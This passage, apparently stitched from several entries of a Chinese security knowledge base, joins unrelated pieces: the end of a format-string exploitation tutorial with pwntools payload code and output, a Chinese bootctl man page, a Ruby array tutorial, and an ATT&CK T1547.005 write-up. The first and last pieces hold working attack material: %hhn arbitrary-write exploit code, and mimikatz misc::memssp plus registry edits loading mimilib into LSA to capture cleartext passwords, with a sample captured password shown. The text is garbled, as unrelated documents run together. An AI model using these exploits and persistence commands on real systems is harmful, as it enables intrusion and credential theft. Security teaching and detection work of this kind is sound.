0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12
```
首先,由于我们的字符串的偏移为6,所以我们可以确定我们的payload基本是这个样子的
```text
p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'
```
我们可以依次进行计算。这里给出一个基本的构造,如下
```python
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr
def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)
```
其中每个参数的含义基本如下
- offset表示要覆盖的地址最初的偏移
- size表示机器字长
- addr表示将要覆盖的地址。
- target表示我们要覆盖为的目的变量值。
相应的exploit如下
```python
def forb():
sh = process('./overwrite')
payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
print payload
sh.sendline(payload)
print sh.recv()
sh.interactive()
```
结果如下
```python
➜ overwrite git:(master) ✗ python exploit.py
[+] Starting local process './overwrite': pid 78547
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn
[*] Process './overwrite' stopped with exit code 0 (pid 78547)
0xfff6f9bc
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0 X � \xbb ~modified b for a big number!
```
当然,我们也可以利用%n分别对每个地址进行写入,也可以得到对应的答案,但是由于我们写入的变量都只会影响由其开始的四个字节,所以最后一个变量写完之后,我们可能会修改之后的三个字节,如果这三个字节比较重要的话,程序就有可能因此崩溃。而采用%hhn则不会有这样的问题,因为这样只会修改相应地址的一个字节。
|
sec-knowleage
|
'\" t
.TH "BOOTCTL" "1" "" "systemd 231" "bootctl"
.\" -----------------------------------------------------------------
.\" * Define some portability stuff
.\" -----------------------------------------------------------------
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.\" http://bugs.debian.org/507673
.\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html
.\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
.ie \n(.g .ds Aq \(aq
.el .ds Aq '
.\" -----------------------------------------------------------------
.\" * set default formatting
.\" -----------------------------------------------------------------
.\" disable hyphenation
.nh
.\" disable justification (adjust text to left margin only)
.ad l
.\" -----------------------------------------------------------------
.\" * MAIN CONTENT STARTS HERE *
.\" -----------------------------------------------------------------
.SH "NAME"
bootctl \- 控制 systemd\-boot 引导管理器
.SH "SYNOPSIS"
.HP \w'\fBbootctl\ \fR\fB[OPTIONS...]\fR\fB\ status\fR\ 'u
\fBbootctl \fR\fB[OPTIONS...]\fR\fB status\fR
.HP \w'\fBbootctl\ \fR\fB[OPTIONS...]\fR\fB\ update\fR\ 'u
\fBbootctl \fR\fB[OPTIONS...]\fR\fB update\fR
.HP \w'\fBbootctl\ \fR\fB[OPTIONS...]\fR\fB\ install\fR\ 'u
\fBbootctl \fR\fB[OPTIONS...]\fR\fB install\fR
.HP \w'\fBbootctl\ \fR\fB[OPTIONS...]\fR\fB\ remove\fR\ 'u
\fBbootctl \fR\fB[OPTIONS...]\fR\fB remove\fR
.SH "描述"
.PP
\fBbootctl\fR
用于检查、更新、安装、删除
\m[blue]\fBsystemd\-boot\fR\m[]\&\s-2\u[1]\d\s+2(一个功能比GRUB少且仅适用于UEFI平台的引导管理器)。
.PP
\fBbootctl status\fR
显示 当前已安装的 systemd\-boot 版本 以及当前的EFI启动项。
.PP
\fBbootctl update\fR
更新所有已安装的 systemd\-boot 引导管理器(仅在当前系统的 systemd\-boot 版本比已安装在ESP分区的版本更新的情况下)。 注意,这也会更新默认的EFI启动项(/EFI/BOOT/BOOT*\&.EFI)。 如果当前的EFI启动项列表中不包含 systemd\-boot 项, 那么将会为其创建一个EFI启动项, 并将其添加到EFI启动顺序列表的尾部。
.PP
\fBbootctl install\fR
将 systemd\-boot 安装到 ESP(EFI system partition)分区。 也就是将 systemd\-boot 安装为 默认启动项(/EFI/BOOT/BOOT*\&.EFI), 并将其添加到EFI启动顺序列表的头部。
.PP
\fBbootctl remove\fR
从ESP(EFI system partition)分区 删除所有已安装的 systemd\-boot 以及对应的 EFI启动项。
.PP
如果没有给出任何命令,那么视为使用了
\fBstatus\fR
命令。
.SH "选项"
.PP
能够识别的命令行选项如下:
.PP
\fB\-h\fR, \fB\-\-help\fR
.RS 4
显示简短的帮助信息并退出。
.RE
.PP
\fB\-\-version\fR
.RS 4
显示简短的版本信息并退出。
.RE
.PP
\fB\-\-path\fR
.RS 4
ESP(EFI system partition)的挂载目录。默认值是 /boot
.RE
.PP
\fB\-\-no\-variables\fR
.RS 4
忽略EFI引导变量(也就是启动项)
.RE
.SH "退出状态"
.PP
返回值为 0 表示成功, 非零返回值表示失败代码。
.SH "参见"
.PP
\m[blue]\fBBoot loader specification\fR\m[]\&\s-2\u[2]\d\s+2
\m[blue]\fBSystemd boot loader interface\fR\m[]\&\s-2\u[3]\d\s+2
.SH "NOTES"
.IP " 1." 4
Boot loader specification
.RS 4
\%http://www.freedesktop.org/wiki/Specifications/BootLoaderSpec
.RE
.IP " 2." 4
Systemd boot loader interface
.RS 4
\%http://www.freedesktop.org/wiki/Software/systemd/BootLoaderInterface
.RE
.\" manpages-zh translator: 金步国
.\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
|
sec-knowleage
|
# 数组类
---
- https://www.kancloud.cn/imxieke/ruby-base/107301
---
# 数组
数组是带索引的对象的集合。
数组有以下特征:
- 可以从数组中获取某个索引的元素(对象)
例:`print name[2]`
- 可以将任意的值(对象)保存到数组的某个索引的元素中
例:`name[0] = " 测试 "`
- 使用迭代器可以逐个取出数组中的元素
例:`names.each{|name| puts name}`
# 数组的创建方法
```
nums = [1, 2, 3, 4, 5]
strs = ["a", "b", "c", "d"]
```
**使用 Array.new**
创建类的实例时使用的 `new` 方法,创建数组时也同样可以使用。
```ruby
a = Array.new
p a #=> []
a = Array.new(5)
p a #=> [nil, nil, nil, nil, nil]
a = Array.new(5, 0)
p a #=> [0, 0, 0, 0, 0]
```
`Array` 类的情况下,若 `new` 方法没有参数,则会创建元素个数为 0 的数组;若 `new` 方法只有 1 个参数,则会创建元素个数为该参数个数,且各元素初始值都为 `nil` 的数组;若 `new` 方法有两个参数,则第 1 个参数代表元素的个数,第 2 个参数代表元素值的初始值。
当希望创建元素值相同的数组时,建议使用这个方法。
**使用 %w 与 %i**
创建不包含空白的字符串数组时,可以使用 `%w`。
```
lang = %w(Ruby Perl Python Scheme Pike REBOL)
p lang #=> ["Ruby", "Perl", "Python", "Scheme", "Pike",
# "REBOL"]
```
虽然给人的感觉只是节省了书写 `" "` 和 `,` 的时间,但是如果能掌握这种字符串数组的创建方法,就会使程序更加简洁。此外,Ruby2.0 还提供了创建符号(Symbol)数组的 `%i`。
```
lang = %i(Ruby Perl Python Scheme Pike REBOL)
p lang #=> [:Ruby, :Perl, :Python, :Scheme, :Pike, :REBOL]
```
在本例中,创建数组时使用了 `()` 将数组元素括了起来,但实际上还可以使用如 `<>`、`||`、`!!`、`@@`、`AA` 这样的任意字符。
虽然 Ruby 允许我们使用任意字符,但若用一些不常用的字符来创建数组的话,可能就会使程序不便于阅读。在选择表示字符串数组元素的字符时,还要注意该字符不能在要创建的字符串中出现,因此建议使用 `()`、`<>`、`||`。
**使用 to_a 方法**
到现在为止,我们已经介绍了三种传统的创建数组的方法,下面我们就来看看如何将其他对象转换为数组。
很多类都定义了 `to_a` 方法,该方法能把该类的对象转换为数组。
```ruby
color_table = {black: "#000000", white: "#FFFFFF"}
p color_table.to_a #=> [[:black, "#000000"],
# [:white, "#FFFFFF"]]
```
对散列对象使用 `to_a` 方法,结果就会得到相应的数组的数组。具体来说就是,将散列中的各键、值作为一个数组,然后再把这样的数组放到一个大数组中。
**使用字符串的 split 方法**
我们再来介绍一个将对象转换为数组的方法。对用逗号或者空白间隔的字符串使用 `split` 方法,也可以创建数组。
```ruby
column = "2013/05/30 22:33 foo.html proxy.example.jp".split()
p column
#=> ["2013/05/30", "22:33", "foo.html", "proxy.example.jp"]
```
# 索引的使用方法
在了解了如何创建数组之后,下面我们就来看看如何操作数组。
**获取元素**
对数组指定索引值,就可以获取相应的元素。我们可以逐个获取元素,也可以一次获取多个元素。
通过 `[]` 指定索引,获取元素。`[]` 有以下 3 种用法:
- a [n]
- a [n..m] 或者 a [n...m]
- a [n, len]
用法(a)是我们在第 2 章中使用过的获取索引值为 n 的元素的方法。例如,通过 `alpha[0]` 获取数组 `alpha` 的首个元素。这里要注意,数组的索引值是从 0 开始的。
索引值为负数时,不是从数组的开头,而是从数组的末尾开始获取元素。如果指定的索引值大于元素个数,则返回 `nil`。
用法(b)的 a [n..m] 表示获取从 a [n] 到 a [m] 的元素,然后用它们创建新数组并返回。a [n..m] 表示获取从 a [n] 到 a [m-1] 的元素,并用它们创建新数组返回。虽然下面的例子中只讨论 [n..m] 的形式,但能用 [n..m] 的地方同样能用 [n...m]。
如果 `m` 的值比数组长度大,则返回的结果与指定数组最后一个元素时是一样的
用法(c)[n, len] 表示从 a [n] 开始,获取之后的 len 个元素,用它们创建新数组并返回。
另外,我们还可以用普通的方法代替 `[]`。
- `a.at(n)` ……与 a[n] 等价
- `a.slice(n)` ……与 a[n] 等价
- `a.slice(n..m)` ……与 a[n..m] 等价
- `a.slice(n, len)` ……与 a[n, len] 等价
不过一般情况下我们很少会使用上述方法。
**元素赋值**
使用 `[]`、`at`、`slice` 方法除了可以获取元素外,还可以对元素赋值。
- `a[n] = item`
这是将 a [n] 的元素值变更为 item。在下面的例子中,我们来尝试把 B 赋值给第 2 个元素,把 E 赋值给第 5 个元素。
上面的例子介绍的是对一个元素赋值,实际上 Ruby 还可以一次对多个元素赋值。指定多个元素的方法与获取多个元素的方法是一样的。
在下面的例子中,我们来尝试对数组的第 3 个元素到第 5 个元素赋值。下面是使用 `[n, len]` 的形式进行赋值的例子。
```ruby
alpha = ["a", "b", "c", "d", "e", "f"]
alpha[2, 3] = ["C", "D", "E"]
p alpha #=> ["a", "b", "C", "D", "E", "f"]
```
**插入元素**
我们还可以在保持当前元素不变的情况下,对数组插入新的元素。
插入元素其实也可以被认为是对 0 个元素进行赋值。因此,指定 `[n, 0]` 后,就会在索引值为 n 的元素前插入新元素。
**通过多个索引创建数组**
使用 `values_at` 方法,就可以利用多个索引来分散获取多个元素,并用它们创建新数组。
- `a.values_at (n1, n2, …)`
用这个方法,我们就可以每隔一个元素获取一次
# 作为集合的数组
到目前为止的数组操作都是通过索引完成的。也就是说,从哪里获取元素、给哪个元素赋值、在哪里插入元素这些操作都是直接指定数组索引后进行的。
的确,数组、`Array` 类本来就是带有索引的对象,使用索引也是理所当然。不过有些时候我们会希望不通过索引而直接操作数组元素。
例如,我们可以把数组当成集合,这样一来,Array 类中的各元素就变了集合里的元素。
然而,由于集合没有顺序的概念,因此 `["a", "b", "c"]`、`["b", "c", "a"]`、`["c", "b", "a"]` 就都可以被认为是同一个集合。
这样操作数组时,如果我们还关心“这个对象是数组的第几个元素”之类的问题,就可能会造成混乱。这是因为,索引操作实际上只是数组封装的一个功能而已。
接下来,我们就来看看如何把数组当作集合使用。而在下一节中,我们会再讨论把数组当作列使用时的方法。
集合的基本运算分为交集和并集。
- 取出同时属于两个集合的元素,并创建新的集合
- 取出两个集合中的所有元素,并创建新的集合
我们把第 1 种集合称为交集,第 2 种集合成为并集。
- 交集……ary = ary1 & ary2
- 并集……ary = ary1 | ary2
集合还有另外一种运算——补集,即获取某个集合中不属于另外一个集合的元素。但是 Array 类的情况下,由于没有全集的概念,因此也就没有补集。不过 Array 类有把某个集合中属于另外一个集合的元素删除的差运算。
- 集合的差……ary = ary1 - ary2
由于数组 `ary2` 中包含的字符串 `"d"` 在数组 `ary1` 中并没有,因此不会被保留在执行结果中。
**“|”与“+”的不同点**
连接数组除了可以使用 `|` 外还可以使用 `+`。这两种方法看起来比较相似,但是有相同元素时它们的效果就不一样了。
```ruby
num = [1, 2,3]
even = [2, 4, 6]
p (num + even) #=> [1, 2, 3, 2, 4, 6]
p (num | even) #=> [1, 2, 3, 4, 6]
```
数组 `num` 与数组 `even` 都有元素 `2`。使用 `+` 时元素 `2` 会有两个,使用 `|` 时相同的元素只会有一个。
# 作为列的数组
下面,我们来看看把数组对象当作列来看待时的情况。
数据结构的队列(queue)和栈(stack)都是典型的列结构。这两个相对的数据结构都有以下两种操作数据的方式。
- 追加元素
- 获取元素
队列是一种按元素被追加时的顺序来获取元素的数据结构。这样的做法称为 FIFO(First-in First-out),也就是“先进先出”的意思。这与人们为等待某件事而排成一列时的情况一样,因此有时候也称为等待队列。
而栈则是一种按照与元素被追加时的顺序相反的顺序来获取元素的数据结构。这样的做法称为 LIFO(Last-in First-out),是一种“先进后出”的数据结构。也就是说,在末尾追加元素,并从末尾开始获取元素。
简单地说就是,按 A、B、C 的顺序保存数据时,按照 A、B、C 的顺序取得数据的数据结构就是队列,按照 C、B、A 的顺序取得数据的数据结构就是栈。
队列与栈都是比较复杂的数据结构,同时也是提高程序运行效率所不可欠缺的工具。
在数组的开头或末尾插入元素,或者从数组的开头或末尾获取元素等操作,是实现队列、栈等数据结构所必须的前提条件。Ruby 的数组封装了如表 13.1 所示的方法,因此可以很轻松地实现这些前提条件。
操作数组开头与末尾的元素的方法
方法 | 对数组开头的元素的操作 | 对数组末尾的元素的操作
- | - | -
追加元素 | unshift | push
删除元素 | shift | pop
引用元素 | first | last
利用图所示的 push 方法和 shift 方法可以实现队列
利用图所示的 push 方法和 pop 方法可以实现栈。
要注意的是,`shift` 方法和 `pop` 方法不只是获取数组元素,而且还会把该元素从数组中删除。如果只是单纯地希望引用元素,则应该使用 `first` 方法和 `last` 方法。
```ruby
a = [1, 2, 3, 4, 5]
p a.first #=> 1
p a.last #=> 5
p a #=> [1, 2, 3, 4, 5]
```
# 主要的数组方法
数组方法有很多,下面我们将选取最常用的几种方法,并把具有相同功能的方法归纳在一起来分别加以介绍。
**为数组添加元素**
- `a.unshift (item)`
将 item 元素添加到数组的开头。
```ruby
a = [1, 2, 3, 4, 5]
a.unshift(0)
p a #=> [0, 1, 2, 3, 4, 5]
```
- `a << item`
- `a.push (item)`
`<<` 与 `push` 是等价的方法,在数组 a 的末尾添加新元素 item。
```ruby
a = [1, 2, 3, 4, 5]
a << 6
p a #=> [1, 2, 3, 4, 5, 6]
```
- `a.concat (b)`
- `a + b`
连接数组 a 和数组 b。`concat` 是具有破坏性的方法,而 `+` 则会根据原来的数组元素创建新的数组。
```ruby
a = [1, 2, 3, 4, 5]
a.concat([8, 9])
p a #=> [1, 2, 3, 4, 5, 8, 9]
```
- `a [n] = item`
- `a [n..m] = item`
- `a [n, len] = item`
把数组 a 指定的部分的元素替换为 item。
```ruby
a = [1, 2, 3, 4, 5, 6, 7, 8]
a[2..4] = 0
p a #=> [1, 2, 0, 6, 7, 8]
a[1, 3] = 9
p a #=> [1, 9, 7, 8]
```
**具有破坏性的方法**
像 `pop` 方法、`shift` 方法那样,会改变接收者对象值的方法称为具有破坏性的方法。在使用具有破坏性的方法时需要特别小心,因为当有变量也引用了接收者对象时,如果接受者对象值发生了改变,变量值也会随之发生变化。我们来看看下面的例子。
```ruby
a = [1, 2, 3, 4]
b = a
p b.pop #=> 4
p b #=> [1, 2, 3]
p a #=> [1, 2, 3]
```
执行 `pop` 方法删除元素后,变量 `a` 引用的数组的元素也被删除,从 `[1, 2, 3, 4]` 变为了 `[1, 2, 3]`,同时变量 `b` 引用的数组元素也被删除了。这是由于执行 `b = a` 后,并不是将变量 `a` 的内容复制给了变量 `b`,而是让变量 `b` 和变量 `a` 同时引用了一个对象。
在 Ruby 的方法中,有像 `sort` 和 `sort!` 这样,在相同方法名后加上 `!` 的方法。为了区分方法是否具有破坏性,在具有破坏性的方法末尾添加 `!` 这一做法目前已经成为了通用的规则。
**从数组中删除元素**
根据某些条件从数组中删除元素。
- `a.compact`
- `a.compact!`
从数组 a 中删除所有 `nil` 元素。`compact` 方法会返回新的数组,`compact!` 则直接替换原来的数组。`compact!` 方法返回的是删除 `nil` 元素后的 `a`,但是如果什么都没有删除的话就会返回 `nil`。
```ruby
a = [1, nil, 3, nil, nil]
a.compact!
p a #=> [1, 3]
```
- `a.delete(x)`
从数组 a 中删除 x 元素。
```ruby
a = [1, 2, 3, 2, 1]
a.delete(2)
p a #=> [1, 3, 1]
```
- `a.delete_at(n)`
从数组中删除 a[n] 元素。
```ruby
a = [1, 2, 3, 4, 5]
a.delete_at(2)
p a #=> [1, 2, 4, 5]
```
- `a.delete_if{|item| … }`
- `a.reject{|item| … }`
- `a.reject!{|item| … }`
判断数组 a 中的各元素 item,如果块的执行结果为真,则从数组 a 中删除 item。`delete_if` 和 `reject!` 方法都是具有破坏性的方法。
```ruby
a = [1, 2, 3, 4, 5]
a.delete_if{|i| i > 3}
p a #=> [1, 2, 3]
```
- `a.slice!(n)`
- `a.slice!(n..m)`
- `a.slice!(n, len)`
删除数组 a 中指定的部分,并返回删除部分的值。`slice!` 是具有破坏性的方法。
```ruby
a = [1, 2, 3, 4, 5]
p a.slice!(1, 2) #=> [2, 3]
p a #=> [1, 4, 5]
```
- `a.uniq`
- `a.uniq!`
删除数组 a 中重复的元素。`uniq!` 是具有破坏性的方法。
```ruby
a = [1, 2, 3, 4, 3, 2, 1]
a.uniq!
p a #=> [1, 2, 3, 4]
```
- `a.shift`
删除数组 a 开头的元素,并返回删除的值。
```ruby
a = [1, 2, 3, 4, 5]
a.shift #=> 1
p a #=> [2, 3, 4, 5]
```
- `a.pop`
删除数组 a 末尾的元素,并返回删除的值。
```ruby
a = [1, 2, 3, 4, 5]
a.pop #=> 5
p a #=> [1, 2, 3, 4]
```
**替换数组元素**
将数组元素替换为别的元素的方法中,也分为带 `!` 的和不带 `!` 的方法,前者是具有破坏性的会改变接收者对象值的方法,后者则是直接返回新数组的方法。
- `a.collect{|item| … }`
- `a.collect!{|item| … }`
- `a.map{|item| … }`
- `a.map!{|item| … }`
将数组 a 的各元素 item 传给块,并用块处理过的结果创建新的数组。从结果来看,数组的元素个数虽然不变,但由于经过了块处理,因此数组的元素和之前会不一样。
```ruby
a = [1, 2, 3, 4, 5]
a.collect!{|item| item * 2}
p a #=> [2, 4, 6, 8, 10]
```
- `a.fill(value)`
- `a.fill(value, begin)`
- `a.fill(value, begin, len)`
- `a.fill(value, n..m)`
将数组 a 的元素替换为 value。参数为一个时,数组 a 的所有元素值都会变为 value。参数为两个时,从 begin 到数组末尾的元素值都会变为 value。参数为三个时,从 begin 开始 len 个元素的值会变为 value。另外,当第 2 个参数指定为 [n..m] 时,则指定范围内的元素值都会变为 value。
```ruby
p [1, 2, 3, 4, 5].fill(0) #=> [0, 0, 0, 0 ,0]
p [1, 2, 3, 4, 5].fill(0, 2) #=> [1, 2, 0, 0, 0]
p [1, 2, 3, 4, 5].fill(0, 2, 2) #=> [1, 2, 0, 0, 5]
p [1, 2, 3, 4, 5].fill(0, 2..3) #=> [1, 2, 0, 0, 5]
```
- `a.flatten`
- `a.flatten!`
平坦化数组 a。所谓平坦化是指展开嵌套数组,使嵌套数组变为一个大数组。
```ruby
a = [1, [2, [3]], [4], 5]
a.flatten!
p a #=> [1, 2, 3, 4, 5]
```
- `a.reverse`
- `a.reverse!`
反转数组 a 的元素顺序。
```ruby
a = [1, 2, 3, 4, 5]
a.reverse!
p a #=> [5, 4, 3, 2, 1]
```
- `a.sort`
- `a.sort!`
- `a.sort{|i, j| … }`
- `a.sort!{|i, j| … }`
对数组 a 进行排序。排序方法可以由块指定。没有块时,使用 `<=>` 运算符比较。
```ruby
a = [2, 4, 3, 5, 1]
a.sort!
p a #=> [1, 2, 3, 4, 5]
```
- `a.sort_by{|i| … }`
对数组 a 进行排序。根据块的运行结果对数组的所有元素进行排序。
```ruby
a = [2, 4, 3, 5, 1]
p a.sort_by{|i| -i } #=> [5, 4, 3, 2, 1]
```
# 数组与迭代器
迭代器是实现循环处理的方法,而数组则是多个对象的集合。在对这些对象进行某种处理,或者取出某几个对象时,都需要大量用到迭代器。
例如,对数组的各元素进行相同的操作时使用的 `each` 方法就是典型的迭代器。该方法会遍历数组的所有元素,并对其进行特定的处理。
此外,接收者不是数组的情况下,为了让迭代器的执行结果能作为某个对象返回,也会用到数组。其中 `collect` 方法就是一个具有代表性的方法。`collect` 方法会收集某种处理的结果,并将其合并为一个数组后返回。
```ruby
a = 1..5
b = a.collect{|i| i += 2}
p b #=> [3, 4, 5, 6, 7]
```
在上面的例子中,接收者为范围对象,而结果则是数组对象。像这样,迭代器和数组就被紧密地结合在一起了。
# 处理数组中的元素
对数组中的元素进行处理时可以采取多种方法。
**使用循环与索引**
传统的方法是使用循环,也就是在遍历数组的同时,利用索引逐个访问数组元素。
例如,我们把数组的元素逐个取出来并输出。
```ruby
list = ["a", "b", "c", "d"]
for i in 0..3
print "第", i+1,"个元素是",list[i],"。\n"
end
```
对数值数组的元素进行合计的例子
```ruby
list = [1, 3, 5, 7, 9]
sum = 0
for i in 0..4
sum += list[i]
end
print "合计:",sum,"\n"
```
**使用 each 方法逐个获取元素**
数组中,通过 `each` 方法可以实现循环操作。下面,我们尝试使用 each 方法来改写
```ruby
list = [1, 3, 5, 7, 9]
sum = 0
list.each do |elem|
sum += elem
end
print "合计:",sum,"\n"
```
但是,使用 `each` 方法时,我们并不知道元素的索引值。因此,当需要指定元素的索引值时,可以使用 `each_with_index` 方法。
```ruby
list = ["a", "b", "c", "d"]
list.each_with_index do |elem, i|
print "第", i+1,"个元素是",elem,"。\n"
end
```
**使用具有破坏性的方法实现循环**
如果数组内各元素全部处理完毕后该数组就不需要了,那么我们就可以通过逐个删除数组元素使数组变空这样的手段来实现循环。
```ruby
while item = a.pop
## 对item 进行处理
end
```
假设在循环开始前已经有元素在数组 `a` 中。如果逐个删除数组 `a` 中的元素,就会对删除的元素进行处理。最后,当数组为空时,循环结束。
**使用其他迭代器**
Ruby 中实现了不少像 collect、map 方法这样一眼就能看出其作用的基本操作。当希望创建某种迭代器时,请翻阅 Ruby 参考手册,一般情况下在里面都能找到我们需要的迭代器。这样就不会因为花精力创建了一个 Ruby 本来就有的迭代器而感到失望了。
# 数组的元素
数组中可以存放各种各样的对象。除了数值、字符串外,我们还可以在数组对象中存放别的数组对象或散列对象等等。
**使用简单的矩阵**
下面我们来看看用数组来表示矩阵的例子。
数组的各个元素也可以是数组,也就是所谓的数组的数组,这样的形式经常被用于表示矩阵。
例如,我们试试用数组的数组这种形式来表示矩阵。
```
/1,2,3\
|4,5,6|
\7,8,9/
```
第 1 行为 `[1, 2, 3]`,第 2 行为 `[4, 5, 6]`,第 3 行为 `[7, ,8 , 9]`,把它们归纳为数组,如下所示。
```ruby
a = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
```
如果想取出元素 6,我们可以像下面这样做。
```ruby
a[1][2]
```
首先用 `a[1]` 表示 `[4, 5, 6]` 这个数组,然后再指定第 3 位的元素,这样就能达到我们的目的了。
**初始化时的注意事项**
把数组对象或者散列对象作为数组元素时,需要注意该对象初始化时的问题。
```ruby
a = Array.new(3, [0, 0, 0])
```
在上面的例子中,我们可能会以为 `a` 为 `[[0, 0, 0], [0, 0, 0], [0, 0, 0]]`,但实际却是另外一个结果
像下面那样,原本只是打算变更第 1 行的第 2 个元素,结果所有行的第 2 个元素都发生了改变。
```ruby
a = Array.new(3, [0, 0, 0])
a[0][1] = 2
p a #=> [[0, 2, 0], [0, 2, 0], [0, 2, 0]]
```
为了解决这个问题,我们可以指定 `new` 方法的块和元素个数。程序调用与元素个数一样次数的块,然后再将块的返回值赋值给元素。每次调用块都会生成新的对象,这样一来,各个元素引用同一个对象的问题就不会发生了。
```ruby
a = Array.new(3) do
[0, 0, 0]
end
p a #=> [[0, 0, 0], [0, 0, 0], [0, 0, 0]]
a[0][1] = 2
p a #=> [[0, 2, 0], [0, 0, 0], [0, 0, 0]]
```
进行下述操作后,对应的元素的索引值就会被赋值给 `i`,这样就可以根据索引值初始化出不同的值了。
```ruby
a = Array.new(5){|i| i + 1 }
p a #=> [1, 2, 3, 4, 5]
```
# 同时访问多个数组
接下来我们来看看用相同的索引值同时访问对多个数组时的情况。在代码中,合计三个数组中索引值相同的元素,并将结果保存在新数组(result)中。
```ruby
ary1 = [1, 2, 3, 4, 5]
ary2 = [10, 20, 30, 40, 50]
ary3 = [100, 200, 300, 400, 500]
i = 0
result = []
while i < ary1.length
result << ary1[i] + ary2[i] + ary3[i]
i += 1
end
p result #=> [111, 222, 333, 444, 555]
```
使用 `zip` 方法可以程序变得更简单
```ruby
ary1 = [1, 2, 3, 4, 5]
ary2 = [10, 20, 30, 40, 50]
ary3 = [100, 200, 300, 400, 500]
result = []
ary1.zip(ary2, ary3) do |a, b, c|
result << a + b + c
end
p result #=> [111, 222, 333, 444, 555]
```
`zip` 方法会将接收器和参数传来的数组元素逐一取出,而且每次都会启动块。参数可以是一个也可以是多个。
|
sec-knowleage
|
# T1547-005-win-SSP权限维持
## 来自ATT&CK的描述
Windows SSP(Windows安全支持提供程序)动态链接库在系统启动时加载到LSA(本地安全机构)进程中。一旦加载到LSA中,SSP动态链接库可以访问存储在Windows中的加密和明文密码,例如任何登录用户的域密码或智能卡PIN码。SSP配置存储在两个注册表项中:HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages和HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\SecurityPackages。攻击者可能会修改这些注册表项来添加新的SSP。这些SSP将在下次系统启动时加载,或者在调用AddSecurityPackage Windows API函数时加载。
## 测试案例
SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。
SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。
如果获得目标系统system权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。
## 检测日志
windows安全日志
## 测试复现
### 方法一
使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
```dos
mimikatz.exe "privilege::debug" "misc::memssp" exit
```
```test
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe "privilege::debug
" "misc::memssp" exit
.#####. mimikatz 2.1.1 (x64) built on Apr 9 2017 23:24:20
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 21 modules * * */
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # misc::memssp
Injected =)
mimikatz(commandline) # exit
Bye!
```
注销当前用户重新登录,即可获取明文密码,密码存储在日志文件C:\Windows\system32\mimilsa.log中。
```dos
type C:\Windows\system32\mimilsa.log
```
```test
C:\Users\Administrator>type C:\Windows\system32\mimilsa.log
[00000000:00063a51] DC\Administrator admin.098
```
### 方法二
将mimikatz中的mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。
```dos
copy mimilib.dll %systemroot%\system32
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
```
```test-dos
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>copy mimilib.dll %systemroot%\
system32
已复制 1 个文件。
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg query hklm\system\currentc
ontrolset\control\lsa\ /v "Security Packages"
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0ts
pkg\0pku2u
```
注意:最后一步修改注册表需要在powershell命令行下操作,cmd下可能会报错。
```dos
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
错误: 无效语法。
键入 "REG ADD /?" 了解用法信息。
```
```powershell
PS C:\Users\Administrator> reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv
1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
值 Security Packages 已存在,要覆盖吗(Yes/No)? y
操作成功完成。
```
查看注册表 hklm\system\currentcontrolset\control\lsa\Security Packages项的值。
```dos
